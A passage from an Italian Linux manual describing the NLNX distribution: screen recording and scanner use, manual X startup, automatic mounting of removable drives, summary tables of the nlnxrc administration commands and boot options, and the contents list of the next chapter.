Se è installato il programma Recordmydesktop e se è presente il file '`~/recordmydesktop.on`', attraverso alcune combinazioni di tasti è possibile controllare l'avvio, la sospensione e la conclusione di una registrazione audio-visuale, di tutto lo schermo grafico.

Figura 50.54. Controllo del funzionamento di Recordmydesktop.

Combinazione	Effetto
[*Alt F5*]	Inizia a registrare, ma senza audio.
[*Alt F6*]	Inizia a registrare normalmente, con l'audio.
[*Alt F7*]	Sospende o fa riprendere una registrazione in corso.
[*Alt F8*]	Conclude la registrazione.

Il file '`~/recordmydesktop.on`' dovrebbe essere un immagine, la quale viene visualizzata al momento della conclusione, per un breve istante. Questa immagine potrebbe contenere delle note sul video, come per esempio il copyright.

La registrazione produce file denominati '`~/recordmydesktop`[`-`***n***]`.ogv`'. Tuttavia, alla conclusione della registrazione, occorre dare un po' di tempo a Recordmydesktop per produrre il file OGV finale.

50.4.16 Uso dello scanner

Se si dispone di uno scanner che può essere gestito da NLNX, per attivarne il controllo è sufficiente selezionare la voce draw, pictures, scan, camera, scan and ocr, $ xscanimage.

Figura 50.56. Avvio del programma Xscanimage, per la gestione dello scanner.

```
...                          ...              ...
...                          ...              ...
...                          ...              ...
draw, pictures, scan, camera scan and ocr     $ xscanimage
...                          ...              ...
...
...

$ xscanimage
```

50.4.17 Avvio manuale del sistema grafico

L'accesso alla sessione grafica avviene di norma attraverso Xdm, anche quando si usa il sistema da DVD *live* o da altra unità in sola lettura. Tuttavia, quando si usa il sistema da DVD, la configurazione grafica iniziale è quella che viene determinata automaticamente (salva comunque la possibilità di intervenire con l'opzione di avvio del kernel '**x_org_conf**', come descritto nella sezione 51.5.1). Se così non dovesse funzionare, o se comunque lo si preferisce, si può far terminare il funzionamento di Xdm e utilizzare poi '**startx**', che in quel caso configura al volo la grafica.

/etc/init.d/xdm stop [*Invio*]

...

$ **startx** [*Invio*]

Prima di far partire effettivamente la grafica, lo script '**startx**', avviato da un DVD *live* o da un altro file system in sola lettura, fa una serie di domande, come avviene durante la configurazione vera e propria che si farebbe con il comando '**nlnxrc x config**'.

50.4.18 Autorizzazione per l'accesso al servente X

Quando si utilizza Xdm, questo modifica ogni volta la chiave di autorizzazione associata al proprio protocollo nel file '~/.Xauthority' ('**XDM-AUTHORIZATION-1**'). Come conseguenza di ciò, se lo stesso utente ha più sessioni simultanee, su elaboratori differenti, condividendo la stessa directory personale, ovvero condividendo lo stesso file '~/.Xauthority', succede che solo l'ultima sessione aperta può risultare operativa in mondo corretto, mentre tutte le altre perdono la possibilità di avviare programmi nuovi.

Se esiste questo problema, l'utente che voglia aprire queste sessioni parallele deve avviare la grafica con l'ausilio dello script '**startx**', da una console, tenendo presente che se è in funzione Xdm occorre indicare uno schermo alternativo:

$ **startx -- :1** [*Invio*]

50.4.19 Altre annotazioni

La configurazione di X è contenuta nel file '/etc/X11/xorg.conf'; il file '/etc/X11/xorg.conf.vesa' contiene la stessa configurazione e serve come modello quando si aggiorna il file '/etc/X11/xorg.conf'.

Per far sì che venga avviato il gestore di finestre Fvwm è stato modificato il file '/etc/X11/xinit/xinitrc' e per garantire che rimanga così, nella directory '/etc/X11/xinit/' ne è disponibile una copia di scorta che viene ricopiata automaticamente per opera dello script '/etc/init.d/nlnx.config'.

Per quanto riguarda la configurazione del gestore di finestre Fvwm, anche questa è stata riscritta (il file '/etc/X11/fvwm/system.fvwm2rc') e lo script '/etc/init.d/nlnx.config' provvede a mantenerla come disposto per NLNX, attraverso una sua copia.

Se si gradisce questo tipo di impostazione, le modifiche per il menù di Fvwm vanno apportate precisamente nel file '/etc/X11/fvwm/system.fvwm2rc.nlnx' e copiate nel file '/etc/X11/fvwm/system.fvwm2rc'.

A proposito del menù di Fvwm realizzato per NLNX, si può osservare che, nella maggior parte dei casi, le voci non sono descrittive, ma contengono semplicemente il comando che andrebbe usato da un terminale a caratteri per avviare il programma. Questo tipo di impostazione serve a ridurre il distacco tra l'utilizzo del sistema a riga di comando e un utilizzo esclusivamente visuale-intuitivo.

Per approfondire l'argomento si può consultare il capitolo 31 dedicato alla gestione grafica.

50.5 Accesso ad altri file system con NLNX

NLNX, durante il funzionamento in modalità grafica, dispone di un sistema di innesto automatico dei file system contenuti in unità di memorizzazione USB rimovibili; per i dischi ottici o per altri tipi di unità, c'è comunque qualche accorgimento che viene incontro agli utenti. Tutte le unità che si vanno a innestare, si inseriscono in una sottodirectory di '/mnt/'.

50.5.1 Innesto di altri file system

Nel file '/etc/fstab' di NLNX, alcune voci sono gestite in modo automatico, nel senso che tale file viene aggiornato dinamicamente, con l'inserimento o l'estrazione di unità esterne. Per tali unità, nella directory '/mnt/' si creano e si eliminano automaticamente delle sottodirectory, in modo tale, per esempio, di innestare l'unità '/dev/sdc2' nella directory '/mnt/sdc2/'.

Nel file '/etc/fstab', queste voci gestite automaticamente hanno l'opzione '**users**' (al plurale), con la quale si consente a ogni utente il distacco delle unità, anche se l'innesto non è stato eseguito dallo stesso:[4]

```
...
/dev/sdc1   /mnt/sda    auto   users,noauto   0   0
/dev/sdc2   /mnt/sda1   auto   users,noauto   0   0
...
```

Come accennato, la directory '/mnt/' è inizialmente vuota, mentre uno script si occupa di inserire le sottodirectory necessarie e di togliere quelle che non servono più (oltre che aggiornare il file '/etc/fstab' di conseguenza). Questo script viene pilotato automaticamente dal sistema uDev, che aggiorna al volo l'elenco dei file di dispositivo.

Le sottodirectory gestite automaticamente sono solo quelle che possono riferirsi a nomi di file di dispositivo di unità di memorizzazione, pertanto si possono comunque creare delle sottodirectory con nomi differenti per scopi propri, aggiornando anche il file '/etc/fstab' manualmente. Per esempio si potrebbe voler aggiungere la voce seguente al file:

```
...
192.168.1.21:/   /mnt/192.168.1.21   nfs   users,noauto   0   0
...
```

In tal caso andrebbe anche aggiunta la directory '/mnt/192.168.1.21/', sapendo che lo script di aggiornamento di '/mnt/' non la tocca, perché non corrisponde ai nomi dei file di dispositivo gestiti.

50.5.2 Accesso semplificato alle unità rimovibili

Per semplificare l'accesso alle unità rimovibili, in modo da non costringere gli utenti a usare i comandi '**mount**' e '**umount**', appare un pulsantino nella barra delle applicazioni, con la lettera [D].

```
-> fd0
-> sr0
-> hdb
-> hdc

/home/tizio
/

tizio@172.17.1.1 | d | t | t | m | i |  | Mon 2012-12-12 12:12:12
```

clic

Selezionando il pulsante grafico [D], si ottiene un menù con l'elenco delle unità rimovibili a cui si può accedere, assieme ad altre posizioni utili all'interno del file system. Eventualmente, se alcune unità risultano essere già innestate, si vedono le voci che consentirebbero di tentarne il distacco, come nell'esempio seguente dove si ipotizza che risulti già innestata un'unità nella directory '/mnt/fd0/':

si può tentare il distacco selezionando questa voce

```
<- fd0

-> fd0
-> sr0
-> hdb
-> hdc

/home/tizio
/
```

```
tizio@172.17.1.1 | d | t | t | m | i |  | Mon 2012-12-12 12:12:12
```

clic

Quando si seleziona una voce per accedere a una certa unità, se necessario viene innestata, quindi viene avviato un programma per poter intervenire nel suo contenuto. Di solito si tratta di Xfe, ma in mancanza di altro, può apparire anche solo una finestra di terminale.

Logicamente, si può ottenere il distacco di una unità solo quando questa non risulta più utilizzata. In particolare, quando l'innesto è avvenuto in modo automatico e a questo è seguito l'avvio di un programma come Xfe, alla conclusione del funzionamento di tali programmi, viene tentato un distacco automatico, che nel caso di unità servo-assistite, produce poi l'espulsione del supporto di memorizzazione.

> Nella maggior parte dei casi, le unità rimovibili vengono innestate automaticamente, avviando contestualmente il programma Xfe, come descritto. Eventualmente, se dopo qualche secondo dopo l'inserimento dell'unità rimovibile non si vede apparire nulla, si può utilizzare la procedura già descritta. OGV

50.5.3 Accesso a unità non rimovibili

Nell'elenco descritto nella sezione precedente, si trovano anche le unità non rimovibili, ma in tal caso, allo scopo di evitare errori, per ottenere l'innesto viene richiesto di inserire la parola d'ordine dell'amministratore. Naturalmente, l'utente comune che vuole accedere ugualmente a tali dati senza avere privilegi particolari, può farlo usando i comandi consueti, pertanto si vuole solo evitare che si innestino le partizioni di un disco locale senza essere consapevoli di ciò che si sta facendo.

Questa cautela deriva dalla possibilità che un disco locale contenga un file system NTFS, per il quale non c'è la massima compatibilità e si vuole evitare che un accesso non voluto esplicitamente possa comprometterne l'integrità.

50.5.4 Limitazione all'accesso

Per impedire a tutti gli utenti l'accesso a certe unità, non è possibile intervenire nel file '/etc/fstab', perché questo verrebbe aggiornato automaticamente, ripristinando i privilegi standard. Pertanto, è previsto un altro metodo, con cui si aggiungono dei file particolari nella directory '/mnt/'; file che logicamente un utente comune non possa cancellare. Si tratta di aggiungere un file vuoto con un nome corrispondente al modello seguente:

nome_dispositivo`.DISABLED`

Per esempio, per impedire l'accesso alle unità a dischetti tradizionali, occorre creare i file '/mnt/fd0.DISABLED' e '/mnt/fd1.DISABLED'.

La presenza di questi file fa sì che non vengano create automaticamente le directory per l'innesto di tali dispositivi, impedendo in pratica agli utenti comuni di accedervi.

La gestione di questi file va fatta, evidentemente, attraverso degli script. Attualmente, se nella directory personale di un utente, esiste il file '~/.nlnx/flags/normm' (*no removable media*, nel momento dell'accesso attraverso la grafica, vengono creati al volo tutti i file che servono a impedire l'accesso a unità di memorizzazione esterne.[56]

50.5.5 Accesso a risorse di rete SMB

Se presso la propria rete locale (per la quale si deve essere instradati correttamente) sono presenti degli elaboratori MS-Windows configurati in modo da condividere alcune porzioni del proprio file system, secondo i protocolli SMB, dovrebbe essere possibile accedervi attraverso lo stesso menù previsto per le unità rimovibili:

```
-> fd0
-> sr0
-> hdb
-> smb
---------------
/home/tizio
/
```


Perché l'innesto possa avvenire, è necessaria la presenza della directory '/mnt/smb/', con i permessi 0777_8. Una volta innestato l'albero delle risorse individuate automaticamente, il distacco avviene come per le unità rimovibili:

```
<- smb
-> fd0
-> sr0
-> hdb
-> smb
/home/tizio
/
```

si può tentare il distacco selezionando questa voce

```
tizio@172.17.1.1 | d | t | t | m | i |      | Mon 2012-12-12 12:12:12
```

clic

50.6 Sintesi dei comandi

NLNX dispone di tre script principali, come descritto nella tabella successiva. Di questi, il più importante è '**nlnxrc**', del quale vengono poi riportate le tabelle con il riepilogo dei comandi di uso più comune. Si osservi che in quasi tutti i casi di utilizzo di '**nlnxrc**' occorre intervenire in qualità di utente '**root**'.

Tabella 50.63. Riepilogo degli script principali di NLNX.

Comando	Descrizione
`nlnx`	Visualizza la guida interna di NLNX in formato testo.
`appunti`	Scorre a video *a2* in formato testo.
`nlnxrc`	Menù per la configurazione e l'utilizzo delle funzionalità più importanti di NLNX.

Tabella 50.64. Script '**nlnxrc**': configurazione principale.

Comando	Descrizione
`nlnxrc network config`	Configurazione facilitata per l'accesso alla rete locale.
`nlnxrc mouse config`	Configurazione facilitata per l'uso del mouse.
`nlnxrc printer config`	Consente di ricreare il file '`/etc/printcap`' impostando la coda di stampa predefinita per la stampante che si usa in un certo momento.
`nlnxrc locale config`	Configurazione facilitata della localizzazione. La configurazione locale può essere distinta in base all'uso da console o da X.
`nlnxrc x config`	Crea un file '`/etc/X11/xorg.conf`', a partire da '`/etc/X11/xorg.conf.vesa`', consentendo di specificare il tipo di adattatore grafico.
`nlnxrc sound config`	Riconfigura automaticamente la gestione dell'audio attraverso ALSA.

Comando	Descrizione
`nlnxrc acpi spindown`	Configurazione facilitata del tempo di ritardo per lo spegnimento dei dischi, quando sono disponibili le funzionalità ACPI.
`nlnxrc date config`	Specifica a quale elaboratore rivolgersi per la sincronizzazione dell'orario del proprio.
`nlnxrc log-server config`	Specifica a quale elaboratore inviare copia del proprio registro del sistema.

Tabella 50.65. Script '**`nlnxrc`**': configurazione del servizio NIS.

Comando	Descrizione
`nlnxrc nis-server config` `nlnxrc nis-server unconf`	Attiva o disattiva il funzionamento in qualità di servente NIS.
`nlnxrc nis-server-users edit`	Per motivi di sicurezza, indica quali utenti comuni possono accedere direttamente all'elaboratore che offre il servizio NIS.
`nlnxrc nis stop`	Disattiva le funzioni NIS (sia come servente, sia come cliente).

Tabella 50.66. Script '**`nlnxrc`**': configurazione del servizio DHCP.

Comando	Descrizione
`nlnxrc dhcp-server config` `nlnxrc dhcp-server unconf`	Attiva o disattiva il funzionamento in qualità di servente DHCP.
`nlnxrc dhcp-server edit`	Modifica la configurazione del servente DHCP, intervenendo nel file di configurazione in modo libero.

Tabella 50.67. Script '**`nlnxrc`**': configurazione del servizio proxy HTTP.

Comando	Descrizione
`nlnxrc proxy clients` [***gruppo***]	Definisce l'elenco dei nodi di rete previsti per l'accesso al proprio servizio proxy HTTP.
`nlnxrc proxy access` [***gruppo***]	Seleziona i nodi di rete, tra quelli previsti, che possono accedere effettivamente al servizio.

Tabella 50.68. Script '**`nlnxrc`**': configurazione della stampa.

Comando	Descrizione
`nlnxrc printer config`	Consente di ricreare il file '`/etc/printcap`' impostando la coda di stampa predefinita per la stampante che si usa in un certo momento.
`nlnxrc print maxpages`	Consente di definire una quantità massima di pagine che possono essere stampate simultaneamente.
`nlnxrc printer clients` `nlnxrc printer access`	Nel primo caso consente di definire l'elenco dei nodi di rete previsti per l'accesso al proprio servizio di stampa; nel secondo consente di scegliere quali nodi, tra quelli previsti, possono accedere effettivamente al servizio di stampa.

Tabella 50.69. Script '**nlnxrc**': gestione delle utenze.

Comando	Descrizione
`nlnxrc user add` [*utente* ↩ ↪ [*home_dir* ↩ ↪ [*descrizione* ↩ ↪ [*parola_d'ordine*]]]] `nlnxrc user del` [*utente*]	Aggiunge o elimina un'utenza, secondo la procedura completa prevista da NLNX.
`nlnxrc user passwd` [*utente* ↩ ↪ [*parola_d'ordine*]]	Cambia la parola d'ordine di un utente, secondo la procedura completa prevista da NLNX.
`nlnxrc user info` `nlnxrc home info`	Consente di avere informazioni sugli utenti comuni, partendo, rispettivamente, da un elenco in ordine alfabetico del nominativo utente, oppure della directory personale.
`nlnxrc quota set`	Se è attiva la gestione delle quote di utilizzo della memoria di massa, consente di stabilire il limite di spazio per le utenze.
`nlnxrc quota report`	Se è attiva la gestione delle quote di utilizzo della memoria di massa, visualizza la situazione di tutti gli utenti, ordinando l'elenco partendo da quelli che stanno utilizzando più spazio.
`nlnxrc nis-server-users edit`	Per motivi di sicurezza, indica quali utenti comuni possono accedere direttamente all'elaboratore che offre il servizio NIS.
`nlnxrc machine add` `nlnxrc machine del` [*nome*]	Aggiunge o elimina un'utenza speciale, associata a un elaboratore MS-Windows, per la gestione degli accessi da tale sistema operativo, attraverso Samba.
`nlnxrc admin add` [*nominativo* ↩ ↪ [*descrizione* ↩ ↪ [*parola_d'ordine*]]] `nlnxrc admin del` [*nominativo*]	Aggiunge o elimina un'utenza amministrativa. Per la precisione, si ottiene un amministratore con nome ***nominativo*** dal lato NLNX e uno con nome **win.*nominativo*** dal lato MS-Windows.
`nlnxrc admin passwd` [*nominativo* ↩ ↪ [*parola_d'ordine*]]	Cambia la parola d'ordine di un amministratore, secondo la procedura completa prevista da NLNX.

Tabella 50.70. Script '**nlnxrc**': installazione e aggiornamento di NLNX.

Comando	Descrizione
`nlnxrc nlnx install`	Installa NLNX in una partizione già preparata. Può essere usato anche quando NLNX è già in funzione in un disco normale e se ne vuole installare una copia ulteriore in un altro disco.
`nlnxrc kernel make`	Ricompila un kernel personalizzato, generando un pacchetto Debian per il kernel e i suoi moduli principali, e altri pacchetti Debian per i moduli aggiuntivi, che vengono messi nella directory personale dell'utente *root*. Per avviare la compilazione è necessario che la directory corrente sia quella da cui si articolano i sorgenti del kernel.

Comando	Descrizione
`nlnxrc initrd make`	Dopo l'installazione di un nuovo kernel personalizzato, rigenera i file '`nlnxrd.img`' e '`onlnxrd.img`', in modo che contengano i moduli corretti. Questi file vengono installati automaticamente nei posti previsti da NLNX, ma di norma vanno poi copiati manualmente nella partizione di avvio.
`nlnxrc nlnx make`	Crea una nuova edizione di NLNX, con la possibilità di scegliere se si vogliono produrre solo i file-immagine o se si vuole arrivare direttamente a un DVD finale.
`nlnxrc nlnx rescue`	Crea un nuovo CD per l'avvio di emergenza di NLNX.

Tabella 50.71. Script '**`nlnxrc`**': controllo di VNC.

Comando	Descrizione
`nlnxrc vncs`	Si avvia preferibilmente da una console per attivare un servente VNC, definendo una parola d'ordine.
`nlnxrc vncsc`	Attiva un servente VNC, definendo una parola d'ordine, assieme al cliente VNC necessario a interagire con questo.
`nlnxrc vncss`	Si avvia preferibilmente da una console per attivare un servente VNC condivisibile, definendo una parola d'ordine.
`nlnxrc vncssc`	Attiva un servente VNC condivisibile, definendo una parola d'ordine, assieme al cliente VNC necessario a interagire con questo.
`nlnxrc vncv` ***nodo*** `nlnxrc vncv-ssh` ***nodo***	Consente di visualizzare il servente VNC in funzione presso il nodo indicato. La seconda delle due forme di utilizzo, implica la creazione di un tunnel SSH per garantire un collegamento cifrato.
`nlnxrc vncc` ***nodo*** `nlnxrc vncc-ssh` ***nodo***	Consente di interagire con il servente VNC in funzione presso il nodo indicato. La seconda delle due forme di utilizzo, implica la creazione di un tunnel SSH per garantire un collegamento cifrato.
`nlnxrc sharedx`	Attiva un servente VNC condivisibile, utilizzando una parola d'ordine predefinita, assieme al cliente VNC necessario a interagire con questo.
`nlnxrc viewremotex` ***nodo***	Consente di visualizzare il servente VNC in funzione presso il nodo indicato, utilizzando la parola d'ordine predefinita. In pratica si usa per collegarsi a un servente VNC avviato con il comando '**`nlnxrc sharedx`**'.

Tabella 50.72. Script '**`nlnxrc`**': funzionalità relative a servizi offerti tramite il servente HTTP.

Comando	Descrizione
`nlnxrc mrtg config` `nlnxrc mrtg unconf`	Configura o disabilita le statistiche di utilizzo delle interfacce di rete, attraverso MRTG.
`nlnxrc webalizer update`	Aggiorna le statistiche di accesso al servente HTTP, prodotte con Webalizer.

Tabella 50.73. Script '**nlnxrc**': funzionalità generiche e accessorie.

Comando	Descrizione
`nlnxrc disc-file` ***file_immagine***	Incide un CD o un DVD (contenente dati) a partire dal file-immagine specificato.
`nlnxrc disc-dir` [***directory***]	Procede alla creazione di una copia della directory indicata, o della directory corrente, in un disco ottico. Se non ci sono già, vengono aggiunti i file '`autorun.inf`', '`autorun.bat`' e '`autorun.htm`'.
`nlnxrc disc blank` `nlnxrc disc blankfast`	Reinizializza un CD o un DVD riscrivibile. La seconda modalità esegue una cancellazione minima.
`nlnxrc audio record`	Inizia a registrare in un file temporaneo, ciò che proviene dall'adattatore audio.
`nlnxrc ssh hostkey` `nlnxrc ssh userkey`	Crea delle chiavi SSH nuove per l'elaboratore, o per l'utente.

50.7 Sintesi delle opzioni di avvio

Il comportamento del sistema può essere controllato attraverso una serie di opzioni di avvio, riepilogate dalle tabelle successive.

Tabella 50.74. Opzioni di avvio aggiuntive, specifiche del disco RAM iniziale.

Opzione	Descrizione
`n_boot=menu`|`auto`|`rescue`|`net` `n_boot=`***dispositivo***	Avvia la funzione indicata o il sistema contenuto nel file system di '`/dev/`***dispositivo***'.
`n_setupdelay=`***n***	Fa in modo che sia fatta una pausa di ***n*** secondi dopo il caricamento dei moduli previsti, in modo che le unità fisiche che vengono individuate con un po' di ritardo siano pronte prima di proseguire.
`n_modules=`***modulo***[`:`***modulo***]...	Consente di indicare un elenco di moduli da caricare, per i quali il sistema automatico non provvede autonomamente. I nomi dei moduli sono separati con il carattere due punti ('`:`'), senza inserire spazi tra un nome e l'altro. Non è possibile attribuire delle opzioni ai moduli da caricare.

Opzione	Descrizione
n_earlyswap=[0|1]	In condizioni normali, le partizioni dei dischi locali che sembrano destinate allo scambio della memoria, vengono attivate già nelle primissime fasi dell'avvio. Eventualmente, con l'opzione '**n_earlyswap=0**' si richiede di evitare tale automatismo. Nel caso ci fosse invece il file 'nlnx.swp' in una partizione locale, l'attivazione dello scambio della memoria avviene in modo indipendente, se non esiste già altra memoria di scambio attiva.

Tabella 50.75. Altre opzioni di avvio aggiuntive, alcune delle quali sono prese in considerazione anche dal disco RAM iniziale.

Opzione	Descrizione
n_u_root=0	Se si tratta di un file system in sola lettura, disabilita l'utenza '**root**'.
n_u_default=0	Se si tratta di un file system in sola lettura, disabilita le utenze predefinite '**tizio**', '**caio**',... '**calpurnio**'.
n_xorg_conf=0	Fa sì che il file '/etc/X11/xdm/Xservers' venga modificato per non avviare la grafica in modo automatico.
n_xorg_conf=auto	Cancella il file '/etc/X11/xorg.conf' e fa sì che il file '/etc/X11/xdm/Xservers' venga modificato per avviare la grafica in modo automatico. In pratica, si vuole che il servente grafico si configuri automaticamente, ammesso che ne sia in grado.
n_xorg_conf=default	Ripristina il file '/etc/X11/xorg.conf' secondo la configurazione predefinita di NLNX e fa sì che il file '/etc/X11/xdm/Xservers' venga modificato per avviare la grafica in modo automatico.
n_xorg_conf=[***drv***],[***h***],[***v***],[***bit***],[***ris***]	Produce un file di configurazione '/etc/X11/xorg.conf' secondo i valori forniti, lasciando gli altri al loro stato predefinito secondo NLNX, inoltre fa sì che il file '/etc/X11/xdm/Xservers' venga modificato per avviare la grafica in modo automatico.
n_auto_dm=1	Avvia il menù di figura 50.7 che consente l'accesso alle utenze predefinite, senza l'inserimento della parola d'ordine (la sigla «dm» sta per *display manager*).
n_nic=***interfaccia_di_rete***	Specifica l'interfaccia di rete da utilizzare.

Opzione	Descrizione
`n_ipv4=`***indirizzi_ipv4***	Specifica l'indirizzo IPv4 da utilizzare nella rete locale.
`n_subnet_mask=`***maschera_di_rete***	Specifica la maschera di rete da usare per l'indirizzo IPv4.
`n_router=`***indirizzo_ipv4***	Specifica l'indirizzo di un router da utilizzare per accedere alla rete esterna.
`n_root_path=`***percorso***	Specifica il percorso di un file system di rete (per esempio '`172.21.254.254:/opt/nlnx`').
`n_ntp_server=`***indirizzo_ipv4*** `n_time_server=`***indirizzo_ipv4***	Specifica l'indirizzo di un servente in grado di fornire l'ora esatta.
`n_domain_name_server=`***indirizzo_ipv4***	Specifica l'indirizzo di un servente DNS (per la risoluzione dei nomi di dominio).
`n_log_server=`***indirizzo_ipv4***	Specifica l'indirizzo di un elaboratore a cui inviare i messaggi del registro di sistema.
`n_lpr_server=`***indirizzo_ipv4*** `n_smb_prn=`***percorso_smb***	Nel primo caso specifica l'indirizzo di una stampante di rete o di un elaboratore che offre questo tipo di servizio. Nel secondo caso specifica il percorso SMB (del tipo '`//`***nodo***`/`***stampante***') di una stampante condivisa di MS-Windows (se il nome della stampante contiene spazi, questi vanno sostituiti, ognuno, con la sequenza '**`%20`**').
`n_smb_prn_user=`***nominativo*** `n_smb_prn_passwd=`***parola_d'ordine***	Nel caso sia utilizzata l'opzione '**`n_smb_prn`**' e se l'accesso alla stampa richiede una forma di autenticazione, consente di indicare un nominativo e una parola d'ordine.
`n_lpr_filter=`***nome_filtro***	Specifica il nome del filtro da usare per la stampa. Il nome in questione corrisponde al nome di un file contenuto nella directory '`/etc/magicfilter/`', togliendo la terminazione '`-filter`', oppure al nome di un file PPD contenuto a partire da '`/usr/share/ppd/`', togliendo l'estensione '`.ppd`' o '`.ppd.gz`'.
`n_max_pages=`***n_pagine***	Specifica la quantità massima di pagine stampabili per volta.
`n_lpr_directory=`***directory***	Specifica il percorso assoluto di una directory, la quale deve avere i permessi di accesso 1777_8. Se si utilizza questa opzione e la directory esiste, le stampe «normali» vengono trasformate in file PDF collocati temporaneamente in questa directory.
`n_scanner=`***indirizzo_ipv4***	Specifica l'indirizzo IPv4 di uno scanner remoto.

Opzione	Descrizione
`n_nis_domain=`***dominio_nis***	Specifica il dominio NIS.
`n_nis_server=`***indirizzo_ipv4***	Specifica l'indirizzo di un servente NIS.
`n_host_name=`***nome***	Specifica il nome dell'elaboratore.
`n_shutdown=`***ore*** **:** ***minuti*** [`+`***ore*** **:** ***minuti***]...	Specifica uno o più orari di spegnimento automatico.
`n_reboot=`***ore*** **:** ***minuti*** [`+`***ore*** **:** ***minuti***]...	Specifica uno o più orari di riavvio automatico.
`n_no_way_out=1`	Specifica che all'elaboratore cliente in questione non possa essere consentito raggiungere servizi di rete esterni, a parte quelli vitali, associati al servente NLNX.
`n_ipv4_arp=`***ipv4*** **:** ***ethernet***	Fissa un indirizzo IPv4 di un elaboratore esterno a un indirizzo Ethernet, in modo che questa associazione non possa essere confusa. Va usata questa opzione esclusivamente per garantire che l'indirizzo IPv4 del servente rimanga associato all'indirizzo Ethernet corretto, quando nella rete locale c'è chi potrebbe associare per sbaglio lo stesso indirizzo IP a un elaboratore differente.
`n_ipwatch=0` | `1` | `2`	Se vi si associa il valore zero, disabilita la gestione, altrimenti attiva il demone '**`ipwatchd`**', allo scopo di individuare nella rete locale l'uso dello stesso indirizzo IPv4, da parte di altri nodi (questa funzione potrebbe non essere più disponibile).
`n_w_essid=`***nome***	Specifica l'identificativo ESSID di un'interfaccia di rete senza fili. Eventualmente si può indicare espressamente il nome '**`default`**' quando si vuole un collegamento automatico a una rete WiFi non cifrata.

`n_w_encryption=NONE`
`n_w_encryption=WEP`
`n_w_encryption=WPA-PSK`
	Specifica il sistema crittografico usato per la comunicazione attraverso un'interfaccia di rete senza fili.

`n_w_wep_key0=`***chiave*** `n_w_wep_key1=`***chiave*** `n_w_wep_key2=`***chiave*** `n_w_wep_key3=`***chiave***	Specifica le quattro chiavi del sistema crittografico WEP. La chiave può essere delimitata tra apici doppi per indicare che si tratta di una stringa, altrimenti si intende come una sequenza esadecimale.

Opzione	Descrizione
`n_w_wpa_psk=`***chiave***	Specifica la chiave del sistema crittografico WPA-PSK. La chiave può essere delimitata tra apici doppi per indicare che si tratta di una stringa, altrimenti si intende come una sequenza esadecimale.

50.8 Riferimenti

- Stanca, *Sviluppo ed utilizzazione dei programmi informatici da parte delle pubbliche amministrazioni*, 2003

  ⟨*http://www.interlex.it/testi/dirett_os.htm* ⟩

[1] **NLNX** GNU GPL; i singoli applicativi sono sottoposti eventualmente a proprie condizioni specifiche

[2] Originariamente, NLNX includeva Dansguardian, ovvero un sistema abbastanza sofisticato per il controllo dei contenuti. Attualmente c'è solo OOPS, con il quale il controllo è meno preciso, ma rimane almeno la possibilità di eliminare selettivamente gli indirizzi che si rivelano inadatti al contesto di utilizzo.

[3] Questo stato di fatto si scontra sostanzialmente con la direttiva «Stanca» che viene citata in fondo al testo.

[4] Originariamente si utilizzava l'opzione '**`user`**', al singolare, in modo che l'utente che innestava un file system fosse l'unico (a parte '**`root`**') che potesse anche eseguirne successivamente il distacco. Tuttavia, non sempre il sistema operativo si comporta conformemente e poteva succedere che tale operazione venisse autorizzata esclusivamente all'amministratore.

[5] Con una gestione opportuna dei permessi, si può fare in modo che gli utenti non possano cancellare o modificare il contenuto della directory '`~/.nlnx/flags/`'. In pratica, la configurazione predefinita di NLNX è tale per cui le directory personali degli utenti hanno i permessi 1771_8, pari a '**`rwxrwx--t`**', appartenendo all'utente '**`root`**' e al gruppo privato dell'utente rispettivo. In tal modo, gli utenti non hanno la facoltà di modificare i permessi della propria directory personale e non possono cancellare file o directory che non appartengono a loro stessi. Quindi, se le directory '`~/.nlnx/`' e '`~/.nlnx/flags/`' appartengono all'utente '**`root`**' e non ci sono i permessi di scrittura per il gruppo e gli altri utenti, nessuno oltre a '**`root`**' può intervenirvi.

[6] Purtroppo questo meccanismo non può essere applicato agli accessi da terminale testuale, in quanto gli script che possono essere messi in funzioni nella fase successiva all'identificazione dell'utente, operano soltanto con i privilegi dell'utente stesso; pertanto non ci sarebbe modo di creare i file '`/mnt/`***x***`.DISABLED`'.

Capitolo 51

Installazione, avvio, configurazione e modifica

51.1 Preparazione delle partizioni 2922

51.1.1 Piano di utilizzo delle partizioni 2923
51.1.2 Sistema di emergenza: «rescue» 2924
51.1.3 Suddivisione in partizioni 2924
51.1.4 Inizializzazione delle partizioni 2929

51.2 Copia del sistema operativo 2929

51.2.1 Copia di NLNX in una partizione di un disco «normale» 2929
51.2.2 Copia in una directory 2930
51.2.3 Configurazione 2931
51.2.4 Configurazione alternativa 2932
51.2.5 Scambio della memoria utilizzando un file 2933

51.3 Installazione in un file-immagine 2933

51.3.1 Installazione di un file-immagine in sola lettura 2933
51.3.2 Installazione in sola lettura condivisa attraverso la rete 2934
51.3.3 File-immagine in lettura e scrittura 2934

51.4 Predisposizione del sistema di avvio 2935

51.4.1 SYSLINUX 2935
51.4.2 EXTLINUX 2936
51.4.3 PXELINUX 2937
51.4.4 Osservazioni sugli insiemi RAID 2937
51.4.5 Osservazioni sulla convivenza di più sistemi operativi 2937
51.4.6 Osservazioni sull'aggiornamento del kernel 2938

51.5 Avvio di NLNX dopo la sua installazione 2938

51.5.1 Configurazione dell'avvio 2938
51.5.2 Cenni alla configurazione successiva 2940

51.6 Realizzazione di una propria variante di NLNX 2940

51.6.1 Modifica dei pacchetti applicativi installati 2941
51.6.2 Creazione del file-immagine della versione *live* 2941
51.6.3 Ricompilazione del kernel 2946
51.6.4 Installazione di software non libero 2947

51.7 Configurazione di NLNX per l'interazione con il sistema 2948

51.7.1 Configurazione locale 2948
51.7.2 Configurazione di mouse e tastiera 2952

51.7.3 Configurazione di X 2952

51.8 Stampa 2955

51.8.1 Configurazione 2955
51.8.2 Opzioni di avvio per la stampa 2959

51.9 Particolarità varie di NLNX 2960

51.9.1 ACPI 2961
51.9.2 Configurazione di Bash e script di sistema 2961
51.9.3 Procedura di inizializzazione del sistema 2962
51.9.4 Registri 2963
51.9.5 Pianificazione dei processi con Cron 2963
51.9.6 Dati variabili nel DVD *live* 2964
51.9.7 Blocco delle funzioni di «nlnxrc» 2965

`.LANG` 2948 `.LANG_FOR_X` 2948 `.profile` 2948 `clamav-home` 2963 `gpm.conf` 2952 `LANG` 2948 `nlnx.config` 2962 `nlnx.hardware` 2962 `nlnx.last` 2962 `nlnx.mixed` 2962 `nlnx.network` 2962 `nlnx.ro-fs` 2962 `nlnxrd.img` 2938 `onlnxrd.img` 2938 `rc.local` 2962 `sysklogd` 2963 `xorg.conf` 2952 `$LANG` 2948 `$LANG_FOR_X` 2948

51.1 Preparazione delle partizioni

